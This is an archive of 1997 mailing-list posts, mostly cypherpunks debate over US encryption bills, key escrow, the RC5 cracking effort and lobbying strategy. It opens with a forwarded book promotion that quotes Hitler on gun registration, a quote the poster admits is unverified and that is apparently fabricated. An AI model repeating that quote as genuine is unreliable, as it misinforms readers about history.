To: ADVISORY.LIST@insync.net, .@insync.net, snetnews@world.std.com,
        .@insync.net
Subject: SNET: (fwd) piml] GOOD BOOK
Date: Mon, 16 Jun 1997 21:38:23 GMT


- ->  SearchNet's   SNETNEWS   Mailing List

X-No-Archive: Yes

FORWARDED On Sun, 15 Jun 1997 19:17:32, RoxanneJohnson
<alphashewolf@proaxis.com> wrote:

TO ALL PATRIOTS AND OTHER CONCERNED CITIZENS:

Here is an excellent book to read if you haven't read it already.  You can
acquire a copy thru Waldenbooks or Dalton Books or at your library (if they
carry it).  It is called A CALL FOR REVOLUTION---HOW WASHINGTON IS
STRANGLING AMERICA--AND HOW TO STOP IT by Martin L. Gross.  Below is a
brief synopsis of the book.

WE THE PEOPLE ARE ANGRY!
All across the nation, Americans are gasping for breath, waking up to find
the tentacles of Washington wrapped firmly around their necks--and
pocketbooks.  In his NEW YORK TIMES bestseller, THE GOVERNMENT RACKET:
WASHINGTON WASTE FROM A TO Z, Martin L. Gross exposed the wasteful
practices of Washington.  Now, in A CALL FOR REVOLUTION, Gross digs far
beneath that waste to uncover the startling but undeniable truth:  the core
of government is rotten.  WE'RE BEING STRANGLED BY:

*  TAX LAWS THAT DESTROY THE MIDDLE CLASS:  In 1950, a middle-class family
living in Long Island had a total tax burden of 12 percent of its income.
Today, that same family has a tax burden more than three times as much.

*  THE WELFARE PROGRAM, A NATIONAL DISGRACE:  The welfare system costs the
taxpayer more than $300 billion a year -- but if Uncle Sam wrote annual
checks for $14,700 to all 7.7 million poor families, if would cost only
$113 billion a year.

*  THE TWO PARTY DICTATORSHIP:  The Majority Leader (not elected by
voters!) has twenty-six PARTY workers on his staff -- all on the federal
payroll.  The total party tab in Congress is $20 million a year -- all paid
by taxpayers.

*  A POWER-MAD WASHINGTON:  Our cities and states are continually subjected
to unfunded mandates from the government.  Anchorage, Alaska, was forced to
pollute its waste water with fish guts, then treat the organic material in
order to comply with federal regulations.  Washington's rules will cost
that small city -- not Uncle Sam -- $428 million.

*  A BLOATED AND INDIFFERENT CONGRESS:  Congress operates at a price tag of
up to $2.8 billion a year, or some $5 million a member.  What does that get
us?  In 1991, the House passed a $151 billion highway bill -- at a cost of
$2,300 for each family of four -- without ever reading it.

Scathingly honest and crammed with investigative reporting, A CALL FOR
REVOLUTION takes us through the treacherous waters of government, offering
direct ways to correct the corruption, end the inefficiency, and tighten
the belt around the Beltway so that the federal government -- and democracy
- -- can truly be "for the people."

TAKE BACK YOUR GOVERNMENT!

Including the cold, hard facts about Vice President Al Gore's NATIONAL
PERFORMANCE REVIEW.

A CALL FOR REVOLUTION -- HOW WASHINGTON IS STRANGLING AMERICA -- AND HOW TO
STOP IT, by Martin L. Gross
Ballantine Books, New York
Libary of Congress Catalog Card Number:  93-73731
ISBN:  0-345-38773-2
Yours in Freedom,
alphashewolf@proaxis.com	
Running with the pack!!

QUOTE:  "This year will go down in history.  For the first time, a
civilized nation has full gun registration.  Our streets will be safer, our
police more efficient, and the world will follow our lead into the future!"
 -- ADOLPH HITLER, 1935

PLEASE NOTE:  Myself, a friend and his contacts at JPFO are currently
researching the above quote for authenticity.  Any leads on said quote will
be greatly appreciated.  Thanks....ASW


_______________________________________
Charles L Hamilton  (chasm@insync.net)  Houston, TX
X-No-Archive: Yes

- -> Send "subscribe   snetnews " to majordomo@world.std.com
- ->  Posted by: chasm@insync.net (Schuetzen)


------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0099.myriad.ml.org (Matthew Ghio)
Date: Fri, 20 Jun 1997 09:25:47 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Recipient Anonymity
In-Reply-To: <199706180825.BAA20903@myriad.alias.net>
Message-ID: <199706200118.SAA13480@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=) wrote:

> How are messages selected?  It seems that the recipient needs to know
> the message IDs of all messages in the system, and must have a way to
> identify his messages.

Yes.  Message-IDs on usenet average around 30-35 bytes each, so for a
typical remailer one might have to download 1000 Message-IDs, which would
take about 32K, not much bigger than the message itself.

You could also use MD5 hashes of the messages, in which case a list of
1000 message-IDs would take only 16K.  (In the unlikely event of a hash
collision you could download those two messages seperately.  Unless the
number of messages was huge (millions), you could probably get away with
using only a 32 or 64-bit hash function.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 20 Jun 1997 09:39:14 +0800
To: cypherpunks@toad.com
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <v03007801afcf434c4bd2@[168.161.105.191]>
Message-ID: <v03102801afcf8bd90b39@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:18 PM -0700 6/19/97, Declan McCullagh wrote:

>That's hardly a pro-privacy, pro-encryption bill, says
>the ACLU's Don Haines. "The ProCODE vote shows the
>political bankruptcy of the pro-business agenda. Even
>in the Commerce Committee, commerce arguments didn't
>work," he says.

This of course was the crux of my criticism of SAFE, and to a lesser
extent, Pro-CODE, and of the nominally pro-liberty groups like EPIC and
CDT. They supported "business friendly" bills, perhaps catering to their
telecom and computer industry contributors, and did not take a strong civil
libertarian stance.

The whole system is corrupt.

The only hope now is the Junger and Bernstein cases, the hope being that
the Supreme Court will eventually rule in one or both of these cases that
encrypted speech is just a form of speech and that the First Amendment
protects such speech, even on networks partially funded by the Federal
government.

(Gee, nearly all highways receive Federal funds, due to the way the tax
monies are collected and then disbursed. Does this mean the government can
regulate speech in any care travelling on any highway even partly built or
operated with Federal funds? Think about the parallels.)

The whole system is corrupt.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 20 Jun 1997 09:50:15 +0800
To: cypherpunks@cyberpass.net
Subject: War has been Declared
In-Reply-To: <v03007801afcf434c4bd2@[168.161.105.191]>
Message-ID: <v03102802afcf900806d3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:51 PM -0700 6/19/97, Mike Duvos wrote:

>You really can't fight Congress.  Ten minutes after you defeat a
>bill and spend all your resources, it will be back on the floor
>under another name and the whole thing will start over again.
>After you defeat that one, you will discover that the text of the
>measure got passed late one night as an ammendment to something
>completely unrelated.
>
>The government has infinite resources to harp incessantly on
>anything until they engineer consent for it and get what they
>want. Resistance is Futile.  You will be Assimilated.

Precisely. This "wear them out" strategy has been obvious from the beginning.

As has been the invocation of the Four Horsemen of the Infocalypse, used
increasingly to get anything passed.

The "war" many of us have known was coming is upon us.

There's no hope in negotiating for a compromise with them.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 20 Jun 1997 02:32:41 +0800
To: lucifer@dhp.com
Subject: author slip or conscious misdirection? (was Re: Declan as a Crime Beat Reporter)
In-Reply-To: <199706190400.AAA00467@dhp.com>
Message-ID: <199706191810.TAA00201@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




anonymous writes:
> An interview with cypherpunks founder Timothy C May, Jim Bell 
> and various other Cypherpunks also present.
> Interview conducted by Declan McCullagh
> ...

Excellent take almost of the quality of the Cypherpunks Enquirer's
work.  Well done.

I have one comment on punctuation style, notice that through out the
document the author uses the wrong single quote, viz:

> Tim:
>
> No it isn`t,...

There's only one poster to the list who uses the wrong quote mark in
this way consistently.  (Exercise for reader).

On the other hand the anonymous posters may have done this on purpose
to obfuscate writing style, and throw is off the track.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 20 Jun 1997 10:50:09 +0800
To: cypherpunks@toad.com
Subject: Where to get your RC5 crackers
Message-ID: <3.0.2.32.19970619191551.006fdddc@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



It seems that the RC5 cracking effort had no idea about the loads their web
server would be subjected to once thousands of DES crackers moved over to
cracking RC5. Their NT based webserver (bad idea...) collapsed. While it
recovers, you can still get the client software from
ftp://ftp.distributed.net/rc5/

Cypherpunks crack cyphers,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 20 Jun 1997 10:36:52 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <v03007801afcf434c4bd2@[168.161.105.191]>
Message-ID: <3.0.2.32.19970619192316.006d0cb0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:30 PM 6/19/97 -0700, Tim May wrote:
>This of course was the crux of my criticism of SAFE, and to a lesser
>extent, Pro-CODE, and of the nominally pro-liberty groups like EPIC and
>CDT. They supported "business friendly" bills, perhaps catering to their
>telecom and computer industry contributors, and did not take a strong civil
>libertarian stance.

Yup.  Not that any bill requiring NSA/CIA/FBI approval for export is
particularly business friendly, even for crypto software business
(much less for people in the speech and artwork businesses), of course...

>(Gee, nearly all highways receive Federal funds, due to the way the tax
>monies are collected and then disbursed. Does this mean the government can
>regulate speech in any car travelling on any highway even partly built or
>operated with Federal funds? Think about the parallels.)

You mean people might be required to get a license to travel on
government-funded roads, and be forced to demonstrate it to any cop who asks?
Or need a license to fly in non-government-funded air, or need to show
government-issued ID to travel on government-licensed airlines?
Americans would never stand for that sort of abuse!  
(As you said, "The whole system is corrupt".)  

There have been exceptions - the Alvarado-Sanchez case, in which the
Supremes decided that police had not had sufficient reason to stop
a truck traveling near but parallel to the US/Mexican border,
and therefore no right to start poking flashlights in the windows,
and no right to order the driver to open the tarp covering
half a ton of marihuana.  Or for that matter the Miranda case,
or Brown vs. Texas (you don't have to give your name even if they
arrest and book you...)  But mostly, it's corrupt, and 
every "compromise" just ratchets down the amount of freedom we have.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 20 Jun 1997 10:58:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <199706192203.PAA25585@f30.hotmail.com>
Message-ID: <v0300789fafcf9d2f9c4a@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:03 PM -0700 6/19/97, John Smith wrote:
>>Frist also introduced amendments to the McCain-Kerrey
>>bill that were accepted:
>>
>>* Requiring that not any Federally-funded
>>  communications network, but only ones established "for
>>  transaction of government business" would use key
>>  escrow -- thereby jumpstarting the domestic market.
>
>Will this narrow the bill so it no longer applies to researchers,
>students and others who happen to use subsidized networks?  If so,
>that would take out the worst part of it.  Key escrow when you're
>sending to the government isn't so bad, since the government can
>read your message anyway.

There is still the fact the "Escrow Agent" is a target of opportunity.  I
don't worry about the government reading my tax return, but I certainly
want it kept confidential from everyone else.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 20 Jun 1997 19:16:21 +0800
To: vin@shore.net
Subject: Re: Bullshit RE: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
In-Reply-To: <v03007803afcf197b5cfb@[198.115.179.81]>
Message-ID: <199706191843.TAA01322@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Vin McLellan <vin@shore.net> writes:
> 	Then Paul Bradley <paul@fatmans.demon.co.uk> the sage moderator of
> Cryptography.Uk stepped in:
> 
> >Not only that, but single DES with a 56 bit key is just not being used
> >anymore in any company which has the slightest clue. If they can run a
> >distributed crack on 3DES with independent subkeys then I`ll give them
> >some attention.
> 
> 	You've convinced me, the UK _is_ on a different planet!

Nah, it's just Paul :-)

Perhaps he should rephrase that to no one with a clue _should_ be
using single DES.  Clearly lots are in practice, in spite of their
better judgement for political reasons.  The US government influence
via their export controls being a major factor pushing the practice of
using too short key lengths.

What's cryptography.uk?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 20 Jun 1997 08:05:18 +0800
To: cypherpunks@toad.com
Subject: Feinstein Amendment Passes
Message-ID: <1.5.4.32.19970619234910.00678664@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The Feinstein Amendment to S.936, the Defense
Authorization Bill, just now passed 94 to 0. Among other
provisions it prohibits the teaching of bombmaking
for criminal purposes, in line with recommendations
of a recent report by the Justice Department on the 
availability of  information on bombmaking on the
Internet:

   http://jya.com/abi.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 20 Jun 1997 11:09:05 +0800
To: cypherpunks@Algebra.COM
Subject: Party on IRC
Message-ID: <3.0.2.32.19970619200316.00710650@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Much happened this week. If you feel like a conversation, join me on
#cypherpunks on EFnet.

--Lucky, who was going to go to a party, but who's clutch gave up.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Fri, 20 Jun 1997 11:16:29 +0800
To: cypherpunks@Algebra.COM
Subject: "We had to destroy the Internet in order to save it."
Message-ID: <3.0.2.32.19970619200922.007d8b90@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

The current round of bills on crypto are going to be far worse for the net 
than the congresscritters can possibly understand.

Here are the questions I have not seen answered...

What will this do to the MIT distribution of PGP?  I expect that it will make 
it illegal.

How does this affect the security software distribution sites at University 
and US government sites? I expect that it will shut them all down.

If the Kerry bill passes (and I expect it will) it will make many of the US 
sources of free security software unavailable and/or illegal.

And this is to make the net more secure?

For who?

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBM6n0YeQCP3v30CeZAQG+/Qf9HHHWEzqRQIIlLS+FcxDEXSIJlPmMM5iA
T+Th8qbTBEJmlCpwV9WS9R6ZPy8LeqWy3HKkROPGsnbNdvr/GfkZpoRNAES1eNt7
X1SWs0qIoSmcyK4DAuGs1v5gHme3P+nxOJq3eIuAx1W5Ar8+UIYN6DcCYIsrll2n
daa+0aU/ExiP2uTN/0v69mTz1BGSR5b8qPv5+7PPqp+xZxSmfWcMqLj4Lz0Bhr4v
mJF+Zg3z4GEKg7eMWqa4MXM7VmkOTJXkSaHubi55BXvZdkhy0d1ctx9XosfAC0/d
JFj6Vw4UplgaRdr8QxBULpU5/2XFQftqeJv1yPocmfRh7lJOgqjBfg==
=QA+I
-----END PGP SIGNATURE-----

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 20 Jun 1997 11:49:12 +0800
To: frissell@panix.com
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <v03007801afcf434c4bd2@[168.161.105.191]>
Message-ID: <3.0.2.32.19970619202645.006d0670@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:13 PM 6/19/97 -0400, frissell@panix.com wrote:
>Anyone mentally retarded enough to expect a congresscritter to 
>protect one's rights deserves everything they get.  
>"Advocacy groups" could have better spent their time litigating crypto 
>and encouraging the use of strong crypto by themselves and their supporters.

While Duncan's mostly right about CONgresscritters, 
there's still a place for lobbying, as well as for litigation and coding.

The EFF and other lobbying groups have bought us about 5 years,
stalling bills like S.266 which would have banned most crypto,
though they've also let through some things like Digital Telephony
which aren't effectively implemented yet.  Without the pro-freedom
lobby groups, the anti-privacy groups have Freeh rein on the Hill,
and can get away with labelling any privacy technology as such
commie-child-porn-narcoterrorist-anti-motherhood-five-six-seven-horsemen EVIL
that the average Congresscritter (who doesn't really care, and knows it)
knows it's not safe to not to vote against it.  Of course, there are
even scarier Congresscritters (the ones who really _mean_well_),
but even the heavily-compromising groups that get funded by big corporations
to say things the corporations can't always say themselves
have helped.

Technology growth wins, gridlock is good, and delays in Congress are your
friend.
The 5 years they've bought us have been critical, letting us deploy
more technology, and understand its limits better, as Moore's law
has brought PCs into almost everyone's budget range, the Web has brought
networking into 30 million Americans' homes (and WebTV and the like
will reach even more couch potatoes), and the <&*&!#%> patents are running
out.
That Pentium 133 that you can get for the price of a fancy TV
looks a lot like the Cray 1 without the air conditioner, runs faster 
than an IBM 370, and the 28.8 modem can carry almost as much data
on your phone line as the expensive leased lines that the companies
who used IBM 370s a decade ago connected them together with.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 20 Jun 1997 11:50:18 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Where to get your RC5 crackers
In-Reply-To: <3.0.2.32.19970619191551.006fdddc@netcom9.netcom.com>
Message-ID: <3.0.2.32.19970619203138.006d85d4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:15 PM 6/19/97 -0700, Lucky Green wrote:
>It seems that the RC5 cracking effort had no idea about the loads their web
>server would be subjected to once thousands of DES crackers moved over to
>cracking RC5. Their NT based webserver (bad idea...) collapsed. While it
>recovers, you can still get the client software from
>ftp://ftp.distributed.net/rc5/

Sounds like a job for Broadcasting!  Anybody who has a copy want to
post it to Usenet?  (It also sounds like a job for web caching proxies at
ISPs.)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Fri, 20 Jun 1997 12:03:28 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: FYI: Who owns Sen. Kerrey (LONG)
Message-ID: <3.0.32.19970619204928.006d5b30@best.com>
MIME-Version: 1.0
Content-Type: text/plain



see http://www.vote-smart.org/congress/104/ma/ma-jr-a/ma-jr-af.html


At 02:14 PM 6/19/97 -0400, Declan McCullagh wrote:
>I suggest you wonder about McCain and Kerry-without-the-e.
>
>-Declan
>
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 20 Jun 1997 12:14:55 +0800
To: Lucky Green <cypherpunks@toad.com
Subject: Re: Where to get your RC5 crackers
In-Reply-To: <3.0.2.32.19970619191551.006fdddc@netcom9.netcom.com>
Message-ID: <v03102807afcfb05d9f83@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:15 PM -0700 6/19/97, Lucky Green wrote:
>It seems that the RC5 cracking effort had no idea about the loads their web
>server would be subjected to once thousands of DES crackers moved over to
>cracking RC5. Their NT based webserver (bad idea...) collapsed. While it
>recovers, you can still get the client software from
>ftp://ftp.distributed.net/rc5/

Reminds me of a certain Frenchman and some trees he wanted planted....

The paraphrased version would go as follows:

Someone: "Hey, I plan to get the RC5 crack software installed and running
on my machine tomorrow."

Other: "You do know, don't you, that even several thousand machines will
take several weeks, maybe months, don't you?"

Someone: "In that case, I'll get started tonight."


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 20 Jun 1997 09:21:21 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <v03007801afcf434c4bd2@[168.161.105.191]>
Message-ID: <3.0.2.32.19970619210738.03c13fb0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 04:18 PM 6/19/97 -0400, Declan McCullagh wrote:

>morning -- and instead approved a bill introduced
>earlier this week that creates new Federal crimes for
>some uses of crypto and an all-but-mandatory key
>escrow infrastructure.

Those of us who choose not to use federal networks and federal CAs will be 
unaffected.  I prefer cheap foreign CAs myself.

DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

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=/SS3
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 20 Jun 1997 10:03:12 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <v03007801afcf434c4bd2@[168.161.105.191]>
Message-ID: <3.0.2.32.19970619211340.006f62d4@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 04:18 PM 6/19/97 -0400, Declan McCullagh wrote:
>After the vote, advocacy groups tried to put a good
>face on the devastating loss -- and an expensive
>defeat it was. After 15 months of lobbying, countless
>hearings, backroom dealmaking, and political capital
>spent, ProCODE is gutted and dead. "There's another
>day. We have confidence in the system," said BSA's
>Robert Holleyman. CDT's Jerry Berman said, "What is
>encouraging is that unlike the CDA other committees
>are getting involved."

Anyone mentally retarded enough to expect a congresscritter to protect one's 
rights deserves everything they get.  "Advocacy groups" could have better 
spent their time litigating crypto and encouraging the use of strong crypto 
by themselves and their supporters.

DCF


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wcreply@ctia.org
Date: Fri, 20 Jun 1997 09:26:35 +0800
To: cypherpunks@toad.com
Subject: New Additions to WOW-COM(TM)!
Message-ID: <199706200113.VAA15196@intraactive.com>
MIME-Version: 1.0
Content-Type: text/plain



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--------------------------
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--------------------------
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        * Competitive Market Issues (e.g., Universal Service, Interconnection, Access Charge Reform)
        * Federalism and State Issues (e.g., tower siting and land use regulation by states and localities)
        * Summarized CTIA's stated positions

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Sincerely,

The WOW-COM(TM) Team
WOW-COM(TM) - CTIA's  free Website for the Wireless Industry







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 20 Jun 1997 12:54:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: War has been Declared
In-Reply-To: <199706192251.PAA01466@zipcon.net>
Message-ID: <v03102808afcfb94db900@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




One of the reasons I've been so skeptical that legislative fixes will work
to protect our access to free and unfettered strong, unbreakable
cryptography is because I knew strong crypto *really would* do the things
McCain, Kerrey, Hollings, Freeh, Clinton, Reno, and all of those folks are
fretting about.

I mean, come on! This is what crypto anarchy is all about!

With it will of course come unbreakable communications channels for bank
robbers, terrorists, child pornographers, money launderers, and all the
rest of the bogeymen. How could it be otherwise?

Ditto for untraceable digital cash. Chaum may waffle on this issue, and
even say completely unfounded things about how maybe there will be ways to
separate "good" untraceable transaction capabilities from "bad" ones, but
we all know this is just shuck and jive.

Ditto for anonymous remailers. Ditto for data havens. Ditto for DC-Nets.
Ditto for all the good stuff.

We know it. Some of them know it. And claiming that this stuff won't happen
is disingenuous.

(Off point a bit. I was just looking at some of the analyses of the S.909
McCain-Kerrey language, the one that passed today, and was struck by how
_dangerous_ some of the analyses are. They critique M-K on some grounds of
flawed linkages between CAs and keys, and so on. Well, would the underlying
problems with M-K be fixed if these linkages were fixed? Not to me. The
only way to defeat M-K is to throw it out completely, not quibble on fine
points.)

Anyway, they're figuring out what we've known for several years, even
longer. And they're lashing out.

Pro-CODE never had a real chance. No legislature is going to pass a law
making crypto anarchy, black markets, and unfettered pornography a reality.

We have to discard concern for "politics" and refocus our efforts on our
original strength: monkeywrenching the system with technology.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 20 Jun 1997 13:16:28 +0800
To: cypherpunks@toad.com
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key  Crypto Bill (fwd)
Message-ID: <Pine.GSO.3.95.970619215942.16667A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 19 Jun 1997 19:17:35 -0400
From: Jonah Seiger <jseiger@cdt.org>
To: Declan McCullagh <declan@well.com>, sameer <sameer@c2.net>
Cc: fight-censorship@vorlon.mit.edu
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key  Crypto Bill

At 3:17 PM -0700 6/19/97, Declan McCullagh wrote:

>Yes, it would have been possible for any and all senators on the commerce
>committee to vote against *any and all* crypto bills that had key recovery
>provisions.

Um, ok. Can you explain your view?

Poly Sci 101: McCain is the chairman of the committee, and as a result
yields a lot of power over the agendas of all the committee members.  When
a member crosses the chairman,  he or she takes a risk of not getting
support for his or her priorities.  If the chairman doesn't support your
bill, it ain't gonna pass. Period.

Chairman, on the other hand, don't like to loose.  If they bring a bill to
a vote, it's because they know they can win either by passing the bill or
making a political statement. And the chairman holds all the cards in the
deck.

If a committee member disagrees with the chairman, and takes a risk by
voting that way, he or she needs to have something to be *for*.  Otherwise,
he or she is just going to appear to be a big pain in the ass. It's very
difficult in the real world to be *against* something but *for* nothing.

Like it or not , and no matter how much we yell and scream about it, most
members of Congress do not fully agree with your position and do not
support complete and total de-control of encryption. While a lot of them
support the SAFE approach (which I know you don't think goes far enough
either) - neither the Commerce Committee members, or anyone else for that
matter, are going to just stand up and say NO to their Chairman without
having anything to be *for*.

This process is raw and smelly, I know, but it's also called Democracy.

I am curious to hear your view on this.

But before we get all caught up in the old jihad between "the purists" and
the "pragmatists", just think about this for a moment:  If we are going to
have a prayer of getting out of this Congress without getting stuck with
manditory key recovery, we have to at least recognize where we fit in to
the overall equation and how the system actually works.  We can do a lot to
impact the outcome of this issue -- but not if we are operating in a
different area code from reality.

Jonah



  * Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crypto.com/adopt

--
Jonah Seiger, Communications Director                  (v) +1.202.637.9800
Center for Democracy and Technology                 pager: +1.202.859.2151
<jseiger@cdt.org>

http://www.cdt.org                                      PGP Key via finger
http://www.cdt.org/homes/jseiger/








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
